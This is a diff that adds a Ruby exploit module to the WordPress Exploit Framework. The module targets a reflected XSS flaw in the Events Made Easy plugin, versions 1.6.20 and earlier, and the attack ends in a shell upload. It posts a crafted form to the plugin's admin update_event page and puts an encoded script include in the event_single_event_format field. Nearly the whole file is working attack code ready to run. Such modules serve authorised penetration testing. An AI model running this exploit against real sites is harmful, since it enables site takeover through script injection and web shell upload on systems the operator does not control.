|
| 1 | +class Wpxf::Exploit::EventsMadeEasyReflectedXssShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::StagedReflectedXss |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'Events MAde Easy <= 1.6.20 Reflected XSS Shell Upload', |
| 9 | + author: [ |
| 10 | + 'Job Diesveld', # Discovery |
| 11 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 12 | + ], |
| 13 | + references: [ |
| 14 | + ['WPVDB', '8595'], |
| 15 | + ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html'] |
| 16 | + ], |
| 17 | + date: 'Aug 04 2016' |
| 18 | + ) |
| 19 | + |
| 20 | + register_option( |
| 21 | + IntegerOption.new( |
| 22 | + name: 'event_id', |
| 23 | + desc: 'A valid event ID (can be found in the URL of an event page)', |
| 24 | + required: true |
| 25 | + ) |
| 26 | + ) |
| 27 | + end |
| 28 | + |
| 29 | + def check |
| 30 | + check_plugin_version_from_readme('events-made-easy', '1.6.21') |
| 31 | + end |
| 32 | + |
| 33 | + def event_id |
| 34 | + normalized_option_value('event_id') |
| 35 | + end |
| 36 | + |
| 37 | + def vulnerable_url |
| 38 | + normalize_uri(wordpress_url_admin, "admin.php?page=events-manager&eme_admin_action=update_event&event_id=#{event_id}") |
| 39 | + end |
| 40 | + |
| 41 | + def initial_script |
| 42 | + create_basic_post_script(vulnerable_url, form_fields) |
| 43 | + end |
| 44 | + |
| 45 | + def form_fields |
| 46 | + { |
| 47 | + 'event_status' => [1, 2, 5].sample, |
| 48 | + 'event_contactperson_id' => -1, |
| 49 | + 'event_seats' => 0, |
| 50 | + 'price' => 0, |
| 51 | + 'currency' => 'EUR', |
| 52 | + 'eme_prop_max_allowed' => Utility::Text.rand_numeric(2), |
| 53 | + 'eme_prop_min_allowed' => Utility::Text.rand_numeric(1), |
| 54 | + 'eme_prop_rsvp_discount' => '', |
| 55 | + 'eme_prop_rsvp_discountgroup' => '', |
| 56 | + 'rsvp_number_days' => Utility::Text.rand_numeric(1), |
| 57 | + 'rsvp_number_hours' => Utility::Text.rand_numeric(1), |
| 58 | + 'eme_prop_rsvp_end_target' => 'start', |
| 59 | + 'event_name' => Utility::Text.rand_alphanumeric(10), |
| 60 | + 'event_slug' => Utility::Text.rand_alphanumeric(10), |
| 61 | + 'localised_recurrence_date' => Time.now.strftime('%d/%m/%Y'), |
| 62 | + 'recurrence_start_date' => Time.now.strftime('%Y-%m-%d'), |
| 63 | + 'localised_recurrence_end_date' => Time.now.strftime('%d/%m/%Y'), |
| 64 | + 'recurrence_end_date' => Time.now.strftime('%Y-%m-%d'), |
| 65 | + 'recurrence_freq' => ['daily', 'weekly', 'monthly'].sample, |
| 66 | + 'recurrence_interval' => '', |
| 67 | + 'recurrence_byweekno' => 1, |
| 68 | + 'recurrence_byday' => 1, |
| 69 | + 'localised_event_start_date' => Time.now.strftime('%d/%m/%Y'), |
| 70 | + 'event_start_date' => Time.now.strftime('%Y-%m-%d'), |
| 71 | + 'localised_event_end_date' => Time.now.strftime('%d/%m/%Y'), |
| 72 | + 'event_end_date' => Time.now.strftime('%Y-%m-%d'), |
| 73 | + 'event_start_time' => Time.now.strftime('%I:%M%p'), |
| 74 | + 'event_end_time' => Time.now.strftime('%I:%M%p'), |
| 75 | + 'eme_prop_event_page_title_format_tpl' => 0, |
| 76 | + 'event_page_title_format' => Utility::Text.rand_alphanumeric(10), |
| 77 | + 'eme_prop_event_single_event_format_tpl' => 0, |
| 78 | + 'event_single_event_format' => "<script>#{xss_ascii_encoded_include_script}<\\/script>", |
| 79 | + 'eme_prop_event_contactperson_email_body_tpl' => 0, |
| 80 | + 'event_contactperson_email_body' => '', |
| 81 | + 'eme_prop_event_registration_recorded_ok_html_tpl' => 0, |
| 82 | + 'event_registration_recorded_ok_html' => '', |
| 83 | + 'eme_prop_event_respondent_email_body_tpl' => 0, |
| 84 | + 'event_respondent_email_body' => '', |
| 85 | + 'eme_prop_event_registration_pending_email_body_tpl' => 0, |
| 86 | + 'event_registration_pending_email_body' => '', |
| 87 | + 'eme_prop_event_registration_updated_email_body_tpl' => 0, |
| 88 | + 'event_registration_updated_email_body' => '', |
| 89 | + 'eme_prop_event_registration_cancelled_email_body_tpl' => 0, |
| 90 | + 'event_registration_cancelled_email_body' => Utility::Text.rand_alphanumeric(10), |
| 91 | + 'eme_prop_event_registration_denied_email_body_tpl' => 0, |
| 92 | + 'event_registration_denied_email_body' => Utility::Text.rand_alphanumeric(10), |
| 93 | + 'eme_prop_event_registration_form_format_tpl' => 0, |
| 94 | + 'event_registration_form_format' => '', |
| 95 | + 'eme_prop_event_cancel_form_format_tpl' => 0, |
| 96 | + 'event_cancel_form_format' => '', |
| 97 | + 'location_name' => Utility::Text.rand_alphanumeric(5), |
| 98 | + 'location_address' => Utility::Text.rand_alphanumeric(5), |
| 99 | + 'location_town' => Utility::Text.rand_alphanumeric(5), |
| 100 | + 'location_latitude' => '', |
| 101 | + 'location_longitude' => '', |
| 102 | + 'content' => Utility::Text.rand_alphanumeric(10), |
| 103 | + 'event_image_url' => '', |
| 104 | + 'event_image_id' => '', |
| 105 | + 'event_url' => '', |
| 106 | + 'event_update_button' => '' |
| 107 | + } |
| 108 | + end |
| 109 | +end |
0 commit comments